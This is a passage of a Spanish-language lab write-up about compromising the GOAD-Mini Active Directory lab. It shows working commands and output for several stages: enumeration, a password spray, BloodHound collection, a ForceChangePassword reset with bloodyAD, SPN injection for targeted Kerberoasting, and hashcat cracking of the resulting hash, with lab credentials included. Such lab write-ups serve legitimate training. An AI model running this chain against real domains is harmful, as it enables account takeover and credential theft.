AVILX

LABORATORIO OFENSIVO · ACTIVE DIRECTORY · 2026

GOAD-Mini

Enumeración y Explotación de Active Directory desde Cero

Documentación técnica completa del compromiso del laboratorio GOAD-Mini: enumeración de dominio, ataques Kerberos, abuso de ACLs y escalada a Domain Admin.

AutorJesus Avila (Avilx)
PlataformaGOAD-Mini (WazeHell)
Dominiosevenkingdoms.local
EntornoVMware · BlackArch Linux
Fecha04 de Agosto 2026
Portafolioavilx.dev
DOMAIN ADMIN LAB · GOAD-MINI · ACTIVE DIRECTORY

Documentación de aprendizaje ofensivo | Entorno de laboratorio autorizado

Introducción

Contexto del Laboratorio

GOAD-Mini (Game of Active Directory Mini) es un entorno de práctica ofensiva creado por WazeHell que simula una infraestructura corporativa Windows con Active Directory intencionalmente mal configurada. A diferencia de máquinas individuales como las de Hack The Box, GOAD-Mini replica el escenario de un pentest real: múltiples máquinas, un dominio AD, relaciones de confianza, usuarios con permisos excesivos y vectores de ataque encadenados.

Hipótesis
Partiendo sin credenciales desde la red interna, el objetivo es comprometer una cuenta con privilegios de Domain Admin encadenando técnicas de enumeración, ataques Kerberos y abuso de ACLs.

Objetivos

Topología del Laboratorio

Hostname IP Sistema Operativo Rol
DC01 192.168.56.10 Windows Server 2019 Domain Controller
Atacante 192.168.56.1 BlackArch Linux Máquina atacante

Infraestructura y Entorno de Trabajo

Arquitectura del Laboratorio

GOAD-Mini es el laboratorio más compacto de la suite Game of Active Directory de Orange Cyberdefense. Consiste en una única máquina Windows Server 2019 que actúa como Domain Controller del dominio SEVENKINGDOMS.LOCAL, con Windows Defender activo por defecto. El despliegue se realiza mediante Vagrant sobre VMware Workstation, gestionado a través del script goad.sh.

Configuración de Red

Segmentación y Verificación de Despliegue

./goad.sh -t status -l GOAD-Mini -p vmware

Usuarios del Dominio

Usuario Grupo Observación
administratorDomain AdminsCuenta de administrador principal
cersei.lannisterLANNISTERS / Domain AdminsDomain Admin de SEVENKINGDOMS
robert.baratheonBARATHEON / Domain AdminsDomain Admin de SEVENKINGDOMS
tywin.lannisterLANNISTERSACL: ForceChangePassword sobre jaime.lannister
jaime.lannisterLANNISTERSACL: GenericWrite sobre joffrey.baratheon
tyron.lannisterLANNISTERSACL: Self-membership sobre Small Council
robert.baratheonBARATHEONDomain Admin
joffrey.baratheonBARATHEONACL: WriteDACL sobre tyron.lannister
renly.baratheonBARATHEON--
stannis.baratheonBARATHEONACL: GenericAll sobre KINGSLANDING / WriteProperty-Self en Domain Admins
petyr.baelishSMALL COUNCILACL: WriteProperty sobre Domain Admins
lord.varysSMALL COUNCIL / AcrossTheNarrowSeaACL: GenericAll sobre Domain Admins
maester.pycelleSMALL COUNCILACL: WriteOwner sobre Domain Admins

Reconocimiento Inicial

Descubrimiento de Hosts

sudo nmap -sn 192.168.56.0/24

Nmap scan report for 192.168.56.10
MAC Address: 00:0C:29:FC:65:B1 (VMware)
Nmap scan report for 192.168.56.1
Hallazgo
Se identificaron 2 hosts activos en la red 192.168.56.0/24: DC01 (192.168.56.10) y la máquina atacante (192.168.56.1), correspondiente a la interfaz de red host-only del laboratorio.

Escaneo de Puertos

sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn -oG allPorts 192.168.56.10

DC01 – Puertos Abiertos

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 128
80/tcp    open  http             syn-ack ttl 128
88/tcp    open  kerberos-sec     syn-ack ttl 128
135/tcp   open  msrpc            syn-ack ttl 128
139/tcp   open  netbios-ssn      syn-ack ttl 128
389/tcp   open  ldap             syn-ack ttl 128
445/tcp   open  microsoft-ds     syn-ack ttl 128
464/tcp   open  kpasswd5         syn-ack ttl 128
593/tcp   open  http-rpc-epmap   syn-ack ttl 128
636/tcp   open  ldapssl          syn-ack ttl 128
3268/tcp  open  globalcatLDAP    syn-ack ttl 128
3269/tcp  open  globalcatLDAPssl syn-ack ttl 128
3389/tcp  open  ms-wbt-server    syn-ack ttl 128
5985/tcp  open  wsman            syn-ack ttl 128
5986/tcp  open  wsmans           syn-ack ttl 128
9389/tcp  open  adws             syn-ack ttl 128
47001/tcp open  winrm            syn-ack ttl 128
Hallazgo
La presencia de los puertos 88 (Kerberos) y 389 (LDAP) confirma que DC01 es el Domain Controller del dominio. Puerto 445 abierto indica SMB accesible para enumeración sin credenciales. Puerto 3389 (RDP) y 5985/5986 (WinRM) expuestos sugieren posibles vectores de acceso remoto una vez obtenidas credenciales válidas. Puerto 80 (HTTP) inesperado en un DC, requiere enumeración adicional.

Escaneo de Versiones de los puertos

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-01 07:12:48Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2026-07-29T03:27:55
|_Not valid after:  2027-07-29T03:27:55
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2026-07-29T03:27:55
|_Not valid after:  2027-07-29T03:27:55
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2026-07-29T03:27:55
|_Not valid after:  2027-07-29T03:27:55
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:kingslanding.sevenkingdoms.local
| Not valid before: 2026-07-29T03:27:55
|_Not valid after:  2027-07-29T03:27:55
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: SEVENKINGDOMS
|   NetBIOS_Domain_Name: SEVENKINGDOMS
|   NetBIOS_Computer_Name: KINGSLANDING
|   DNS_Domain_Name: sevenkingdoms.local
|   DNS_Computer_Name: kingslanding.sevenkingdoms.local
|   DNS_Tree_Name: sevenkingdoms.local
|   Product_Version: 10.0.17763
|_  System_Time: 2026-08-01T07:13:33+00:00
| ssl-cert: Subject: commonName=kingslanding.sevenkingdoms.local
| Not valid before: 2026-07-28T03:26:09
|_Not valid after:  2027-01-27T03:26:09
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp  open  ssl/wsmans?
| ssl-cert: Subject: commonName=VAGRANT
| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant
| Not valid before: 2026-07-27T20:20:55
|_Not valid after:  2029-07-26T20:20:55
| tls-alpn:
|   h2
|_  http/1.1
|_ssl-date: 2026-08-01T07:13:41+00:00; 0s from scanner time.
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
MAC Address: 00:0C:29:FC:65:B1 (VMware)
Service Info: Host: KINGSLANDING; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: KINGSLANDING, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:fc:65:b1 (VMware)
| smb2-time:
|   date: 2026-08-01T07:13:32
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
Hallazgo

El escaneo de versiones confirmó el FQDN completo

kingslanding.sevenkingdoms.local mediante los certificados SSL expuestos en LDAP y RDP. Se identificó IIS 10.0 corriendo en el puerto 80 con la página por defecto, lo que requiere enumeración adicional. SMBv2 con Message Signing: required descarta ataques de NTLM Relay contra este host.

Enumeración Web – Puerto 80

Identificación del Dominio

    nmblookup -A 192.168.56.10
    
    Looking up status of 192.168.56.10
    KINGSLANDING    <00> -         M <ACTIVE>
    SEVENKINGDOMS   <00> - <GROUP> M <ACTIVE>
    SEVENKINGDOMS   <1c> - <GROUP> M <ACTIVE>
    KINGSLANDING    <20> -         M <ACTIVE>
    SEVENKINGDOMS   <1b> -         M <ACTIVE>
    
    MAC Address = 00-0C-29-FC-65-B1
Hallazgo
Hostname identificado: KINGSLANDING (registro <00>). Dominio NetBIOS: SEVENKINGDOMS (registro <00> GROUP). El registro <1b> confirma que KINGSLANDING es el Domain Master Browser, es decir, el Domain Controller principal del dominio.
netexec smb 192.168.56.10

SMB    192.168.56.10   445   KINGSLANDING   [*] Windows 10 / server 2019
Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) 
(signing:True) (SMBv1:False) (Null Auth:True)
Hallazgo
Se confirmó autenticación nula (Null Auth) en SMB, lo que permite enumerar recursos compartidos, usuarios y políticas de dominio sin credenciales válidas. El FQDN sevenkingdoms.local queda verificado por segunda vez, ahora mediante el protocolo SMB. SMBv1 deshabilitado descarta EternalBlue como vector de ataque.

Enumeración de Active Directory

Enumeración sin Credenciales

SMB Anónimo

    smbclient -L //192.168.56.10// -N
    Anonymous login successful
    
    Sharename       Type      Comment
    ---------       ----      -------
    SMB1 disabled -- no workgroup available

LDAP – Consultas Anónimas

     ldapsearch -x -H ldap://192.168.56.10 \
    > -b "DC=sevenkingdoms,DC=local"
    # extended LDIF
    #
    # LDAPv3
    # base <DC=sevenkingdoms,DC=local> with scope subtree
    # filter: (objectclass=*)
    # requesting: ALL
    #
    
    # search result
    search: 2
    result: 1 Operations error
    text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
    tion a successful bind must be completed on the connection., data 0, v4563
Hipótesis
El intento de enumeración anónima via LDAP fue rechazado por el servidor, que exige autenticación previa (bind) para responder consultas. A diferencia de SMB, el acceso anónimo a LDAP no está permitido en este DC. Este vector se descarta temporalmente hasta obtener credenciales válidas.

Enumeracion con Enum4linux-ng

====================================================
|    Domain Information via RPC for 192.168.56.10    |
====================================================
[+] Domain: SEVENKINGDOMS
[+] Domain SID: S-1-5-21-192275561-2566161430-2385015979
[+] Membership: domain member
Hallazgo
La enumeración anónima via enum4linux-ng confirmó que KINGSLANDING es el DC raíz del dominio sevenkingdoms.local. Se obtuvo el Domain SID: S-1-5-21-192275561-2566161430-2385015979, dato crítico para la fase de post-explotación ya que es requerido para forjar un Golden Ticket. La enumeración de usuarios, grupos y shares via RPC fue bloqueada con STATUS_ACCESS_DENIED, confirmando que el null session tiene alcance limitado en este DC.

Enumeración de Usuarios con Kerbrute

Se realizó OSINT sobre la documentación oficial de GOAD, donde se identificaron los usuarios del dominio. Con esta información se construyó una wordlist en formato nombre.apellido para validar su existencia en el dominio mediante kerbrute, sin generar eventos de autenticación fallida.

tywin.lannister
jaime.lannister
tyron.lannister
cersei.lannister
robert.baratheon
joffrey.baratheon
renly.baratheon
stannis.baratheon
petyer.baelish
lord.varys
maester.pycelle
kerbrute userenum --dc 192.168.56.10 -d sevenkingdoms.local users.txt -o 
valid_users.txt

__             __               __
/ /_____  _____/ /_  _______  __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (n/a) - 08/01/26 - Ronnie Flathers @ropnop

2026/08/01 23:19:10 >  Using KDC(s):
2026/08/01 23:19:10 >   192.168.56.10:88

2026/08/01 23:19:10 >  [+] VALID USERNAME:   tywin.lannister@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   tyron.lannister@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   cersei.lannister@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   robert.baratheon@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   joffrey.baratheon@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   jaime.lannister@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   renly.baratheon@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   petyer.baelish@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   lord.varys@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   maester.pycelle@sevenkingdoms.local
2026/08/01 23:19:10 >  [+] VALID USERNAME:   stannis.baratheon@sevenkingdoms.local
2026/08/01 23:19:10 >  Done! Tested 11 usernames (11 valid) in 0.006 seconds
Hallazgo
Los 11 usuarios enumerados fueron confirmados como válidos en el dominio sevenkingdoms.local. Kerbrute opera a nivel de pre-autenticación Kerberos, lo que permite validar usuarios sin generar eventos de tipo 4625 (logon failure) en el DC.

Identificación de Cuentas AS-REP Roastables

Hipótesis
Con los 11 usuarios validados en el dominio, se evaluó si alguna cuenta tenía la flag UF_DONT_REQUIRE_PREAUTH activa, condición necesaria para ejecutar un ataque AS-REP Roasting y obtener un hash crackeable sin credenciales.
GetNPUsers.py sevenkingdoms.local/ -dc-ip 192.168.56.10 \
-usersfile users.txt \
-no-pass \
-format hashcat
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

[-] User tywin.lannister doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jaime.lannister doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tyron.lannister doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User cersei.lannister doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User robert.baratheon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User joffrey.baratheon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User renly.baratheon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User stannis.baratheon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User petyer.baelish doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lord.varys doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User maester.pycelle doesn't have UF_DONT_REQUIRE_PREAUTH set
Hallazgo
Ninguna cuenta presenta la flag UF_DONT_REQUIRE_PREAUTH activa. AS-REP Roasting se descarta como vector de entrada en esta fase.

Password Spray via SMB con Netexec

Hipótesis
Con los usuarios validados, se intentó un password spray contra SMB utilizando una wordlist corta para minimizar el riesgo de bloqueo de cuentas.
nxc smb 192.168.56.10 -u users.txt \
-p /usr/share/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt

SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\tywin.lannister:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\jaime.lannister:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\tyron.lannister:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\cersei.lannister:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\robert.baratheon:password STATUS_ACCOUNT_RESTRICTION
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\joffrey.baratheon:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\renly.baratheon:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\stannis.baratheon:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\petyer.baelish:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\lord.varys:password STATUS_LOGON_FAILURE
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\maester.pycelle:password STATUS_LOGON_FAILURE
[...]
SMB  192.168.56.10  445  KINGSLANDING  
[-] sevenkingdoms.local\tywin.lannister:monkey STATUS_ACCOUNT_LOCKED_OUT
[...]
Hallazgo
El spray resultó en STATUS_ACCOUNT_LOCKED_OUT para 10 de 11 usuarios a partir de la quinta contraseña probada, evidenciando una política de bloqueo activa en el dominio. La cuenta robert.baratheon no se bloqueó en ningún intento, devolviendo consistentemente STATUS_ACCOUNT_RESTRICTION. Este comportamiento indica que la cuenta pertenece al grupo Protected Users, mecanismo que bloquea autenticación NTLM por defecto en cuentas privilegiadas como Domain Admins, independientemente de la contraseña utilizada.
Nota
El lockout masivo de cuentas en un entorno real es un incidente crítico que alertaría al equipo de seguridad. En un pentest real, el password spray debe ejecutarse con delays configurados y conociendo previamente el umbral de bloqueo de la política de dominio.

Enumeración Web con Feroxbuster

Hipótesis
Se enumeró el servidor IIS en busca de rutas críticas, archivos sensibles (.txt, .bak) o endpoints de servicios AD expuestos.
feroxbuster -u http://192.168.56.10/ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt

301  GET  http://192.168.56.10/certenroll => http://192.168.56.10/certenroll/
401  GET  http://192.168.56.10/certsrv
Hallazgo
Se identificaron dos rutas asociadas a AD CS (Active Directory Certificate Services): /certenroll publica los certificados de la CA y las CRLs, mientras que /certsrv expone la interfaz web de enrollment. La presencia de estos endpoints confirma que AD CS está instalado en el DC, abriendo la posibilidad de un ataque ESC8 (NTLM Relay a Web Enrollment) una vez obtenidas credenciales válidas. El endpoint /certsrv devuelve 401 Unauthorized, confirmando que requiere autenticación.

Segundo Intento – User-as-Password via Kerbrute

Hipótesis
Se evaluó si alguna cuenta tenía configurada su propio nombre de usuario como contraseña, práctica común en entornos mal administrados.
kerbrute passwordspray --user-as-pass users.txt -d sevenkingdoms.local 
--dc 192.168.56.10
__             __               __
/ /_____  _____/ /_  _______  __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

2026/08/02 03:04:09 >  Using KDC(s):
2026/08/02 03:04:09 >  Done! Tested 11 logins (0 successes) in 0.026 seconds
Conclusión
Ninguna cuenta utiliza su nombre de usuario como contraseña. Este vector se descarta.

Conclusión de la Fase sin Credenciales

Nota
Tras agotar los vectores de entrada sin credenciales, se consultó el repositorio oficial de GOAD-Mini. Se determinó que el lab está diseñado como entorno base minimalista y asume credenciales iniciales conocidas, a diferencia de labs como GOAD-Light donde existe un vector explícito de entrada sin credenciales. Las credenciales de los usuarios del dominio están definidas en el archivo de configuración del lab y representan el punto de partida intencionado para la fase de explotación.

Enumeración con Credenciales

Una vez obtenida la credencial inicial tywin.lannister:powerkingftw135, proporcionada por la documentación oficial del lab como punto de entrada, se procedió a ampliar la enumeración de Active Directory via SMB para obtener un mapeo completo de usuarios y grupos del dominio.

Usuarios y Grupos

Usuario Último cambio de PW Descripción
Administrator2026-07-29 03:23:12Built-in administrator
GuestneverBuilt-in guest account
krbtgt2026-07-29 03:26:08Key Distribution Center
vagrant2021-05-12 11:39:16Vagrant User
tywin.lannister2026-07-29 03:33:48Tywin Lanister
jaime.lannister2026-07-29 03:33:50Jaime Lanister
cersei.lannister2026-07-29 03:33:52Cersei Lanister
tyron.lannister2026-07-29 03:33:54Tyron Lanister
robert.baratheon2026-07-29 03:33:56Robert Lanister
joffrey.baratheon2026-07-29 03:33:58Joffrey Baratheon
renly.baratheon2026-07-29 03:34:00Renly Baratheon
stannis.baratheon2026-07-29 03:34:02Stannis Baratheon
petyer.baelish2026-07-29 03:34:04Petyer Baelish
lord.varys2026-07-29 03:34:06Lord Varys
maester.pycelle2026-07-29 03:34:08Maester Pycelle
    nxc smb 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135' --groups
    KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING)
     (domain:sevenkingdoms.local) (signing:True) (SMBv1:False) (Null Auth:True)
    KINGSLANDING     [+] sevenkingdoms.local\tywin.lannister:powerkingftw135
    KINGSLANDING     [-] [REMOVED] Arg moved to the ldap protocol
Hallazgo
no se logro enumerar los grupos ya que ellos se movieron la servicio ldap, se procedera a enumerar los grupos en ldap
nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135' --groups
Grupo Relevancia Miembros
AdministratorsControl total del DC7
Remote Desktop UsersAcceso RDP al DC2
Certificate Service DCOMRelacionado con AD CS1
Cert PublishersPuede publicar certificados1
Domain AdminsObjetivo final3
Protected Usersrobert.baratheon (NTLM bloqueado)1
LannisterGrupo personalizado del lab5
BaratheonGrupo personalizado del lab5
Small CouncilGrupo con ACLs críticas7
DragonStoneNodo intermedio en cadena ACL0
KingsGuardNodo intermedio en cadena ACL0
AcrossTheNarrowSeaGrupo cross-domain0
Hallazgo
El grupo Protected Users confirma que robert.baratheon es la única cuenta protegida del dominio, lo que explica el comportamiento observado durante el password spray: al tener NTLM deshabilitado por política, la cuenta devuelve STATUS_ACCOUNT_RESTRICTION en lugar de bloquearse. Se identifican 3 miembros en Domain Admins, confirmando a robert.baratheon como uno de ellos. Los grupos personalizados DragonStone y KingsGuard aparecen vacíos pero son nodos intermedios en la cadena de ACLs del dominio.
Hipótesis
El grupo Remote Desktop Users tiene 2 miembros. Se procederá a enumerar su composición para identificar qué cuentas tienen acceso RDP al DC y si representan un vector de acceso adicional.

Enumeración de Grupos Específicos

nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135' 
--group Administrators
nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135' 
--group 'Remote Desktop Users'
nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135' 
--group 'Baratheon'
nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135' 
--group 'Domain Admins'
nxc ldap 192.168.56.10 -u 'tywin.lannister' -p 'powerkingftw135' 
--group 'Small Council'
Grupo Miembros Relevancia
AdministratorsAdministrator, vagrant, cersei.lannister, robert.baratheonControl total del DC
Remote Desktop UsersBaratheon (G), Small Council (G)Acceso RDP al DC
Domain AdminsAdministrator, cersei.lannister, robert.baratheonObjetivo final
Protected Usersrobert.baratheonNTLM deshabilitado
Baratheoncersei, robert, joffrey, renly, stannisGrupo con acceso RDP
Small Councilcersei, robert, renly, stannis, petyer, varys, pycelleGrupo con ACLs críticas y RDP
DragonStonevacíoNodo intermedio ACL
KingsGuardvacíoNodo intermedio ACL
AcrossTheNarrowSeavacíoGrupo cross-domain
Hallazgo
Se confirman los tres miembros de Domain Admins: Administrator, cersei.lannister y robert.baratheon. La cuenta tywin.lannister no pertenece a ningún grupo con acceso RDP al DC — ni a Baratheon ni a Small Council, que son los grupos miembro de Remote Desktop Users. El acceso por RDP se descarta como vector con la cuenta actual. El grupo Small Council agrupa 7 usuarios con ACLs críticas sobre objetos del dominio, siendo un nodo clave en la cadena de escalada.

BloodHound – Grafo del Dominio

Hipótesis
Con credenciales válidas se procedió a recolectar todos los objetos del dominio mediante bloodhound-python para construir un grafo de ataque completo. El objetivo es identificar rutas de escalada desde tywin.lannister hasta Domain Admins abusando de ACLs mal configuradas.
bloodhound-python -u tywin.lannister -p powerkingftw135 \
-dc kingslanding.sevenkingdoms.local \
-d sevenkingdoms.local -c All \
-ns 192.168.56.10

INFO: Found AD domain: sevenkingdoms.local
INFO: Found 1 domains
INFO: Found 1 computers
INFO: Found 16 users
INFO: Found 59 groups
INFO: Found 2 gpos
INFO: Found 9 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Done in 00M 01S
Hallazgo
Se recolectaron 16 usuarios, 59 grupos y 1 computadora del dominio. Los datos fueron importados a BloodHound CE para análisis visual de la cadena de ACLs. La query Shortest Paths to Domain Admins reveló que tywin.lannister tiene ForceChangePassword sobre jaime.lannister, siendo este el primer eslabón de la cadena de escalada hacia Domain Admin.

Ataques y Abuso de ACLs

Cadena de Escalada Identificada

BloodHound identificó la siguiente ruta de escalada desde tywin.lannister hasta Domain Admin:

Origen ACL / Vector Destino
tywin.lannisterForceChangePasswordjaime.lannister
jaime.lannisterGenericWritejoffrey.baratheon
joffrey.baratheonWriteDACLtyron.lannister
tyron.lannisterSelf-MembershipSmall Council
Small CouncilAddMemberDragonStone
DragonStoneWriteOwnerKingsGuard
KingsGuardGenericAllstannis.baratheon
stannis.baratheonGenericAllDC01 (KINGSLANDING$)
DC01DCSync / DADomain Admin

ForceChangePassword: tywin.lannister → jaime.lannister

Hipótesis
BloodHound confirmó que tywin.lannister posee la ACL ForceChangePassword sobre jaime.lannister. Este permiso permite cambiar la contraseña del usuario objetivo sin conocer la contraseña actual, sin requerir interacción del usuario y sin generar un reset administrativo visible. Se utilizó bloodyAD para explotar esta ACL.
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tywin.lannister -p powerkingftw135 \
-H kingslanding.sevenkingdoms.local \
set password jaime.lannister 'NewPassword123!'

[+] Password changed successfully!
Vector confirmado
Contraseña de jaime.lannister modificada exitosamente a NewPassword123!. Se procede a verificar el acceso con las nuevas credenciales.

GenericWrite: jaime.lannister → joffrey.baratheon

Hipótesis
BloodHound confirmó que jaime.lannister posee GenericWrite sobre joffrey.baratheon, lo que permite modificar atributos arbitrarios del objeto. Se abusa de este permiso para registrar un SPN temporal en la cuenta, convirtiendo a joffrey.baratheon en objetivo de Targeted Kerberoasting y permitiendo extraer un hash TGS crackeable offline.
     bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
    -u jaime.lannister -p 'NewPassword123!' \
    -H kingslanding.sevenkingdoms.local \
    set object joffrey.baratheon servicePrincipalName \
    -v 'fake/kingslanding.sevenkingdoms.local'
    
    [+] joffrey.baratheon's servicePrincipalName has been updated
Hallazgo
SPN fake/KINGSLANDING registrado exitosamente en joffrey.baratheon. La cuenta es ahora Kerberoasteable. Se procede a solicitar el TGS y extraer el hash para crackeo offline.

Verificacion de subida exitosa del SPN

GetUserSPNs.py sevenkingdoms.local/jaime.lannister:'NewPassword123!' \
-dc-ip 192.168.56.10
ServicePrincipalName Name
fake/kingslanding.sevenkingdoms.localjoffrey.baratheon
Vector confirmado
El SPN fake/kingslanding.sevenkingdoms.local quedó registrado en joffrey.baratheon. La cuenta es ahora Kerberoasteable. Se procede a solicitar el TGS.

Solicitud del Hash TGS – Kerberoasting Dirigido

Hipótesis
Con el SPN registrado en joffrey.baratheon, Kerberos aceptará solicitudes de tickets TGS para ese servicio. El ticket es cifrado con el hash NTLM de la cuenta, permitiendo crackeo offline sin interacción adicional con el DC.
Hipótesis
Intento Fallido: Primer intento: GetUserSPNs.py con credenciales en texto plano. La herramienta intentó autenticación Kerberos primero pero no encontró un archivo ccache (KRB5CCNAME no definido), por lo que descartó la solicitud del ticket.
GetUserSPNs.py sevenkingdoms.local/jaime.lannister:'NewPassword123!' \
-dc-ip 192.168.56.10 -request -outputfile kerberoast_hash.txt

[-] CCache file is not found. Skipping...
Hipótesis
Intento Fallido: Segundo intento: se añadió -no-preauth pero la herramienta requiere un argumento adicional para ese flag, resultando en error de uso.
Hipótesis
Intento Fallido: Tercer intento: se añadió -debug para identificar el flujo real. Se confirmó que impacket intenta Kerberos tres veces antes de obtener el ticket. El hash sí se generó en pantalla pero no se guardó en el archivo de salida por el truncado con head.
GetUserSPNs.py sevenkingdoms.local/jaime.lannister:'NewPassword123!' \
-dc-ip 192.168.56.10 -request -outputfile kerberoast.txt -debug

[-] CCache file is not found. Skipping...
[+] Trying to connect to KDC at 192.168.56.10:88
$krb5tgs$23$*joffrey.baratheon$SEVENKINGDOMS.LOCAL$...[hash]
Vector confirmado
El hash TGS de joffrey.baratheon fue obtenido exitosamente y guardado en kerberoast.txt. El warning de CCache es inofensivo – impacket recurre automáticamente a Kerberos directo contra el KDC cuando no hay ccache disponible.

Crackeo del Hash con Hashcat

Hipótesis
El hash TGS obtenido está cifrado con el hash NTLM de la cuenta de servicio. Al ser un hash RC4 (tipo 23), es susceptible a crackeo offline con diccionario sin interacción adicional con el DC.
hashcat -m 13100 kerberoast.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

$krb5tgs$23$*joffrey.baratheon$SEVENKINGDOMS.LOCAL$
sevenkingdoms.local/joffrey.baratheon*$5b8e0d12252e...
[hash truncado por longitud]
...:1killerlion

Status: Cracked
Time: 2 segundos
Vector confirmado
Hash TGS de joffrey.baratheon crackeado en 2 segundos con rockyou.txt. Credencial obtenida: joffrey.baratheon:1killerlion.

